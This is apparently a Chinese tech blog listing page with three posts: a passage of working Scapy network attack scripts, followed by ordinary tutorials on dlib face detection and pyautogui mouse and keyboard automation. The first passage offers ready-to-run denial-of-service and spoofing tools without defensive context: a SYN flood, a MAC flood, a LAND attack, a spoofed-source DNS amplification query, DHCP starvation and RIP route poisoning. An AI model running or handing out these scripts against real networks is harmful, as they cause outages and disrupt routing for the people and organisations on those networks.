#TCPlayer srcPort=randomPort() TCPlayer = TCP(sport=srcPort, dport=dstPort, flags="S") #发送包 packet = IPlayer / TCPlayer send(packet) total+=1 print("Total packets sent: %i" % total) # 显示的信息 def info(): print("#"*30) print("# Welcome to SYN Flood Tool #") print("#"*30) # 输入目标IP和端口 dstIP = input("Target IP : ") dstPort = int(input("Target Port : ")) return dstIP, dstPort if __name__ == '__main__': dstIP, dstPort=info() count=int(input("Please input the number of packets:")) synFlood(count,dstIP,dstPort)MAC 泛洪攻击from scapy.all import * #定义网卡接口 iface='eth0' while True: #随机MAC randmac=RandMAC("*:*:*:*:*:*") #随机IP randip=RandIP("*.*.*.*") #构造数据包 packet=Ether(src=randmac,dst=randmac)/IP(src=randip,dst=randip)/ICMP() sendp(packet,iface=iface,loop=0)MAC 泛洪完整版from scapy.all import * import random # 生成随机的MAC def randomMAC(): randmac = RandMAC("*:*:*:*:*:*") return randmac # 生成随机的IP def randomIP(): ip=".".join(map(str,(random.randint(0,255) for i in range(4)))) return ip # Mac-flood def macFlood(count): total = 0 print("Packets are sending ...") for i in range(count): packet = Ether(src=randomMAC(), dst=randomMAC()) / IP(src=randomIP(), dst=randomIP()) / ICMP() sendp(packet, iface='eth0', loop=0) total+=1 print("Total packets sent: %i" % total) if __name__ == '__main__': print("#" * 30) print("# Welcome to Mac Flood Tool #") print("#" * 30) count = int(input("Please input the number of packets:")) macFlood(count)LAND 攻击import scapy.all as scapy import time target = input("Please input your target:") # 输入想要攻击的ip地址 port = input("Please input your target's port:") # 输入端口 port = int(port) # 因为input接收的是str,所以要转换成int型 send_packets=0 # 记录发送包的数量 try: while True: a = (scapy.IP(src=target,dst=target)/scapy.TCP(sport=port,dport=port)) #构造LAND attack攻击包 scapy.send(a,verbose=False) send_packets+=1 #发送一个,自动加一 print("[+] Sent Packets:" + str(send_packets)) time.sleep(1) except KeyboardInterrupt: print("[-] Ctrl+C detected.......")DNS 放大攻击from scapy.all import * a = IP(dst='8.8.8.8',src='192.168.1.200') #192.168.1.200 为伪造的源ip b = UDP(dport=53) c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0) c.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1) p = a/b/c send(p)DHCP 欺骗攻击from scapy.all import * import random def dhcp_discover(iface): while True: xid_random = random.randint(1, 900000000) mac_random = str(RandMAC()) dhcp_discover = (Ether(src=mac_random,dst='ff:ff:ff:ff:ff:ff')/ IP(src='0.0.0.0',dst='255.255.255.255')/ UDP(sport=68,dport=67)/ BOOTP(chaddr=mac_random,xid=xid_random,flags=0x8000)/ DHCP(options=[('message-type','discover')] )) sendp(dhcp_discover,iface=iface) if __name__ == '__main__': iface = 'eth0' dhcp_discover(iface)RIP 攻击from scapy.all import RIP,Ether,IP,UDP,RIP,RIPEntry,sniff,send packet = sniff(stop_filter=lambda x:x.haslayer(RIP)) mac_dst= packet[-1][Ether].dst mac_src= packet[-1][Ether].src ip = packet[-1][RIPEntry].addr entry = packet[-1][RIPEntry] ripentry = RIPEntry(addr=ip,metric=16) #判断是否有多个路由信息 if entry.getlayer(RIPEntry,2): while entry: #获取下一个路由信息 entry = entry.getlayer(RIPEntry, 2) ip = entry.addr ripentry = ripentry / RIPEntry(addr=ip, metric=16) rip = (Ether(dst=mac_dst,src=mac_src) /IP(dst="224.0.0.9",src=ip) /UDP(dport=520,sport=520)/RIP(cmd=2,version=2)/ripentry) while True: packet.show() send(packet,verbose=0)
2022年07月15日
579 阅读
0 评论
161 点赞
2022-07-13
【技术分享】Python3 人脸检测 opencv + dlib实现 ( 第一课 )
简介dlib是一个很有名的库,有c++、Python的接口。使用dlib可以大大简化开发,比如人脸识别,特征点检测之类的工作都可以很轻松实现。同时也有很多基于dlib开发的应用和开源库,比如face_recogintion库(应用一个基于Python的开源人脸识别库,face_recognition)等等。参考代码import sys import dlib import cv2 detector = dlib.get_frontal_face_detector() #获取人脸分类器 # 传入的命令行参数 for f in sys.argv[1:]: # opencv 读取图片,并显示 img = cv2.imread(f, cv2.IMREAD_COLOR) # 摘自官方文档: # image is a numpy ndarray containing either an 8bit grayscale or RGB image. # opencv读入的图片默认是bgr格式,我们需要将其转换为rgb格式;都是numpy的ndarray类。 b, g, r = cv2.split(img) # 分离三个颜色通道 img2 = cv2.merge([r, g, b]) # 融合三个颜色通道生成新图片 dets = detector(img, 1) #使用detector进行人脸检测 dets为返回的结果 print("Number of faces detected: {}".format(len(dets))) # 打印识别到的人脸个数 # enumerate是一个Python的内置方法,用于遍历索引 # index是序号;face是dets中取出的dlib.rectangle类的对象,包含了人脸的区域等信息 # left()、top()、right()、bottom()都是dlib.rectangle类的方法,对应矩形四条边的位置 for index, face in enumerate(dets): print('face {}; left {}; top {}; right {}; bottom {}'.format(index, face.left(), face.top(), face.right(), face.bottom())) # 在图片中标注人脸,并显示 left = face.left() top = face.top() right = face.right() bottom = face.bottom() cv2.rectangle(img, (left, top), (right, bottom), (0, 255, 0), 3) cv2.namedWindow(f, cv2.WINDOW_AUTOSIZE) cv2.imshow(f, img) # 等待按键,随后退出,销毁窗口 k = cv2.waitKey(0) cv2.destroyAllWindows()官方示例 #!/usr/bin/python # The contents of this file are in the public domain. See LICENSE_FOR_EXAMPLE_PROGRAMS.txt # # This example program shows how to find frontal human faces in an image. In # particular, it shows how you can take a list of images from the command # line and display each on the screen with red boxes overlaid on each human # face. # # The examples/faces folder contains some jpg images of people. You can run # this program on them and see the detections by executing the # following command: # ./face_detector.py ../examples/faces/*.jpg # # This face detector is made using the now classic Histogram of Oriented # Gradients (HOG) feature combined with a linear classifier, an image # pyramid, and sliding window detection scheme. This type of object detector # is fairly general and capable of detecting many types of semi-rigid objects # in addition to human faces. Therefore, if you are interested in making # your own object detectors then read the train_object_detector.py example # program. # # # COMPILING/INSTALLING THE DLIB PYTHON INTERFACE # You can install dlib using the command: # pip install dlib # # Alternatively, if you want to compile dlib yourself then go into the dlib # root folder and run: # python setup.py install # or # python setup.py install --yes USE_AVX_INSTRUCTIONS # if you have a CPU that supports AVX instructions, since this makes some # things run faster. # # Compiling dlib should work on any operating system so long as you have # CMake and boost-python installed. On Ubuntu, this can be done easily by # running the command: # sudo apt-get install libboost-python-dev cmake # # Also note that this example requires scikit-image which can be installed # via the command: # pip install scikit-image # Or downloaded from http://scikit-image.org/download.html. import sys import dlib from skimage import io detector = dlib.get_frontal_face_detector() win = dlib.image_window() for f in sys.argv[1:]: print("Processing file: {}".format(f)) img = io.imread(f) # The 1 in the second argument indicates that we should upsample the image # 1 time. This will make everything bigger and allow us to detect more # faces. dets = detector(img, 1) print("Number of faces detected: {}".format(len(dets))) for i, d in enumerate(dets): print("Detection {}: Left: {} Top: {} Right: {} Bottom: {}".format( i, d.left(), d.top(), d.right(), d.bottom())) win.clear_overlay() win.set_image(img) win.add_overlay(dets) dlib.hit_enter_to_continue() # Finally, if you really want to you can ask the detector to tell you the score # for each detection. The score is bigger for more confident detections. # The third argument to run is an optional adjustment to the detection threshold, # where a negative value will return more detections and a positive value fewer. # Also, the idx tells you which of the face sub-detectors matched. This can be # used to broadly identify faces in different orientations. if (len(sys.argv[1:]) > 0): img = io.imread(sys.argv[1]) dets, scores, idx = detector.run(img, 1, -1) for i, d in enumerate(dets): print("Detection {}, score: {}, face_type:{}".format( d, scores[i], idx[i]))
2022年07月13日
107 阅读
0 评论
36 点赞
2022-07-12
【技术分享】Python3 模拟鼠标键盘
模块安装pip install pyautogui -i https://mirrors.aliyun.com/pypi/simple/找图坐标import pyautogui position = pyautogui.locateCenterOnScreen('1.png') pyautogui.moveTo(position[0], position[1],duration=0.2) print(position)基本操作import pyautogui pyautogui.FAILSAFE = True # 启用自动防故障功能,左上角的坐标为(0,0),将鼠标移到屏幕的左上角,来抛出failSafeException异常 x, y = 122, 244 pyautogui.onScreen(x, y) # 结果为true width, height = pyautogui.size() # 屏幕的宽度和高度 print(width, height)import pyautogui currentMouseX, currentMouseY = pyautogui.position() # 鼠标当前位置 print(currentMouseX, currentMouseY) # 控制鼠标移动,duration为持续时间 for i in range(2): pyautogui.moveTo(100, 100, duration=0.25) # 移动到 (100,100) pyautogui.moveTo(200, 100, duration=0.25) pyautogui.moveTo(200, 200, duration=0.25) pyautogui.moveTo(100, 200, duration=0.25) pyautogui.moveRel(50, 0, duration=0.25) # 从当前位置右移100像素 pyautogui.moveRel(0, 50, duration=0.25) # 向下 pyautogui.moveRel(-50, 0, duration=0.25) # 向左 pyautogui.moveRel(0, -50, duration=0.25) # 向上 # 按住鼠标左键,把鼠标拖拽到(100, 200)位置 pyautogui.dragTo(100, 200, button='left') # 按住鼠标左键,用2秒钟把鼠标拖拽到(300, 400)位置 pyautogui.dragTo(300, 400, 2, button='left') # 按住鼠标左键,用0.2秒钟把鼠标向上拖拽 pyautogui.dragRel(0, -60, duration=0.2) # pyautogui.click(x=moveToX, y=moveToY, clicks=num_of_clicks, interval=secs_between_clicks, button='left') # 其中,button属性可以设置成left,middle和right。 pyautogui.click(10, 20, 2, 0.25, button='left') pyautogui.click(x=100, y=200, duration=2) # 先移动到(100, 200)再单击 pyautogui.click() # 鼠标当前位置点击一下 pyautogui.doubleClick() # 鼠标当前位置左击两下 pyautogui.doubleClick(x=100, y=150, button="left") # 鼠标在(100,150)位置左击两下 pyautogui.tripleClick() # 鼠标当前位置左击三下 pyautogui.mouseDown() # 鼠标左键按下再松开 pyautogui.mouseUp() pyautogui.mouseDown(button='right') # 按下鼠标右键 pyautogui.mouseUp(button='right', x=100, y=200) # 移动到(100, 200)位置,然后松开鼠标右键 # scroll函数控制鼠标滚轮的滚动,amount_to_scroll参数表示滚动的格数。正数则页面向上滚动,负数则向下滚动 # pyautogui.scroll(clicks=amount_to_scroll, x=moveToX, y=moveToY) pyautogui.scroll(5, 20, 2) pyautogui.scroll(10) # 向上滚动10格 pyautogui.scroll(-10) # 向下滚动10格 pyautogui.scroll(10, x=100, y=100) # 移动到(100, 100)位置再向上滚动10格 # 缓动/渐变函数可以改变光标移动过程的速度和方向。通常鼠标是匀速直线运动,这就是线性缓动/渐变函数。 # PyAutoGUI有30种缓动/渐变函数,可以通过pyautogui.ease*?查看。 # 开始很慢,不断加速 pyautogui.moveTo(100, 100, 2, pyautogui.easeInQuad) # 开始很快,不断减速 pyautogui.moveTo(100, 100, 2, pyautogui.easeOutQuad) # 开始和结束都快,中间比较慢 pyautogui.moveTo(100, 100, 2, pyautogui.easeInOutQuad) # 一步一徘徊前进 pyautogui.moveTo(100, 100, 2, pyautogui.easeInBounce) # 徘徊幅度更大,甚至超过起点和终点 pyautogui.moveTo(100, 100, 2, pyautogui.easeInElastic)键盘操作import pyautogui pyautogui.typewrite('Hello world!') # 输入Hello world!字符串 pyautogui.typewrite('Hello world!', interval=0.25) # 每次输入间隔0.25秒,输入Hello world! pyautogui.press('enter') # 按下并松开(轻敲)回车键 pyautogui.press(['left', 'left', 'left', 'left']) # 按下并松开(轻敲)四下左方向键 pyautogui.keyDown('shift') # 按下`shift`键 pyautogui.keyUp('shift') # 松开`shift`键 pyautogui.keyDown('shift') pyautogui.press('4') pyautogui.keyUp('shift') # 输出 $ 符号的按键 pyautogui.hotkey('ctrl', 'v') # 组合按键(Ctrl+V),粘贴功能,按下并松开'ctrl'和'v'按键 # pyautogui.KEYBOARD_KEYS数组中就是press(),keyDown(),keyUp()和hotkey()函数可以输入的按键名称 pyautogui.KEYBOARD_KEYS = ['\t', '\n', '\r', ' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '^', '_', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '|', '}', '~', 'accept', 'add', 'alt', 'altleft', 'altright', 'apps', 'backspace', 'browserback', 'browserfavorites', 'browserforward', 'browserhome', 'browserrefresh', 'browsersearch', 'browserstop', 'capslock', 'clear', 'convert', 'ctrl', 'ctrlleft', 'ctrlright', 'decimal', 'del', 'delete', 'divide', 'down', 'end', 'enter', 'esc', 'escape', 'execute', 'f1', 'f10', 'f11', 'f12', 'f13', 'f14', 'f15', 'f16', 'f17', 'f18', 'f19', 'f2', 'f20', 'f21', 'f22', 'f23', 'f24', 'f3', 'f4', 'f5', 'f6', 'f7', 'f8', 'f9', 'final', 'fn', 'hanguel', 'hangul', 'hanja', 'help', 'home', 'insert', 'junja', 'kana', 'kanji', 'launchapp1', 'launchapp2', 'launchmail', 'launchmediaselect', 'left', 'modechange', 'multiply', 'nexttrack', 'nonconvert', 'num0', 'num1', 'num2', 'num3', 'num4', 'num5', 'num6', 'num7', 'num8', 'num9', 'numlock', 'pagedown', 'pageup', 'pause', 'pgdn', 'pgup', 'playpause', 'prevtrack', 'print', 'printscreen', 'prntscrn', 'prtsc', 'prtscr', 'return', 'right', 'scrolllock', 'select', 'separator', 'shift', 'shiftleft', 'shiftright', 'sleep', 'space', 'stop', 'subtract', 'tab', 'up', 'volumedown', 'volumemute', 'volumeup', 'win', 'winleft', 'winright', 'yen', 'command', 'option', 'optionleft', 'optionright'] 鼠标操作import pyautogui import time # 获取鼠标位置 def get_mouse_positon(): print('开始获取鼠标位置') try: for i in range(30): # Get and print the mouse coordinates. x, y = pyautogui.position() positionStr = '鼠标坐标点(X,Y)为:{},{}'.format(str(x).rjust(4), str(y).rjust(4)) pix = pyautogui.screenshot().getpixel((x, y)) # 获取鼠标所在屏幕点的RGB颜色 positionStr += ' RGB:(' + str(pix[0]).rjust(3) + ',' + str(pix[1]).rjust(3) + ',' + str(pix[2]).rjust( 3) + ')' print(positionStr) time.sleep(0.1) # 停顿时间 except: print('获取鼠标位置失败') if __name__ == "__main__": get_mouse_positon()弹窗操作import pyautogui # 显示一个简单的带文字和OK按钮的消息弹窗。用户点击后返回button的文字。 pyautogui.alert(text='', title='', button='OK') b = pyautogui.alert(text='要开始程序么?', title='请求框', button='OK') print(b) # 输出结果为OK # 显示一个简单的带文字、OK和Cancel按钮的消息弹窗,用户点击后返回被点击button的文字,支持自定义数字、文字的列表。 pyautogui.confirm(text='', title='', buttons=['OK', 'Cancel']) # OK和Cancel按钮的消息弹窗 pyautogui.confirm(text='', title='', buttons=range(10)) # 10个按键0-9的消息弹窗 a = pyautogui.confirm(text='', title='', buttons=range(10)) print(a) # 输出结果为你选的数字 # 可以输入的消息弹窗,带OK和Cancel按钮。用户点击OK按钮返回输入的文字,点击Cancel按钮返回None。 pyautogui.prompt(text='', title='', default='') # 样式同prompt(),用于输入密码,消息用*表示。带OK和Cancel按钮。用户点击OK按钮返回输入的文字,点击Cancel按钮返回None。 pyautogui.password(text='', title='', default='', mask='*')图像操作import pyautogui pyautogui.screenshot('1.png') # 截全屏并设置保存图片的位置和名称 im = pyautogui.screenshot('1.png') # 截全屏并设置保存图片的位置和名称 print(im) # 打印图片的属性 # 不截全屏,截取区域图片。截取区域region参数为:左上角XY坐标值、宽度和高度 pyautogui.screenshot(r'1.png', region=(0, 0, 300, 400)) pix = pyautogui.screenshot().getpixel((220, 200)) # 获取坐标(220,200)所在屏幕点的RGB颜色 positionStr = ' RGB:(' + str(pix[0]).rjust(3) + ',' + str(pix[1]).rjust(3) + ',' + str(pix[2]).rjust(3) + ')' print(positionStr) # 打印结果为RGB:( 60, 63, 65) pix = pyautogui.pixel(220, 200) # 获取坐标(220,200)所在屏幕点的RGB颜色与上面三行代码作用一样 # 如果你只是要检验一下指定位置的像素值,可以用pixelMatchesColor(x,y,RGB)函数,把X、Y和RGB元组值穿入即可 # 如果所在屏幕中(x,y)点的实际RGB三色与函数中的RGB一样就会返回True,否则返回False # tolerance参数可以指定红、绿、蓝3种颜色误差范围 pyautogui.pixelMatchesColor(100, 200, (255, 255, 255)) pyautogui.pixelMatchesColor(100, 200, (255, 255, 245), tolerance=10) # 获得文件图片在现在的屏幕上面的坐标,返回的是一个元组(top, left, width, height) # 如果截图没找到,pyautogui.locateOnScreen()函数返回None a = pyautogui.locateOnScreen(r'1.png') print(a) # 打印结果为Box(left=0, top=0, width=300, height=400) x, y = pyautogui.center(a) # 获得文件图片在现在的屏幕上面的中心坐标 print(x, y) # 打印结果为150 200 x, y = pyautogui.locateCenterOnScreen('1.png') # 这步与上面的四行代码作用一样 # 匹配屏幕所有与目标图片的对象,可以用for循环和list()输出 pyautogui.locateAllOnScreen(r'1.png') for pos in pyautogui.locateAllOnScreen(r'1.png'): print(pos) # 打印结果为Box(left=0, top=0, width=300, height=400) a = list(pyautogui.locateAllOnScreen('1.png')) print(a) # 打印结果为[Box(left=0, top=0, width=300, height=400)]{dotted startColor="#ff6c6c" endColor="#1989fa"/}
2022年07月12日
170 阅读
0 评论
39 点赞
1
2
3
4
...
6
0:00